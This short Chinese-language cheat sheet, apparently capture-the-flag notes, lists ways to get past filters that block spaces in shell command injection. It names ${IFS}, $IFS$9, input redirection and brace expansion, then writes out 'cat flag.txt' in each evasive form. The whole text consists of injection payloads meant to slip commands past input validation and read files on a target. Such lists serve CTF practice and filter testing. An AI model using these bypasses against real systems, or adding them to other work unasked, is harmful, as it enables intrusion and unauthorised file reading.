文件读取空格绕过

• ${IFS}
• $IFS$9
• <
• <>
• {,}

命令执行

cat flag.txt
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
{cat,flag.txt}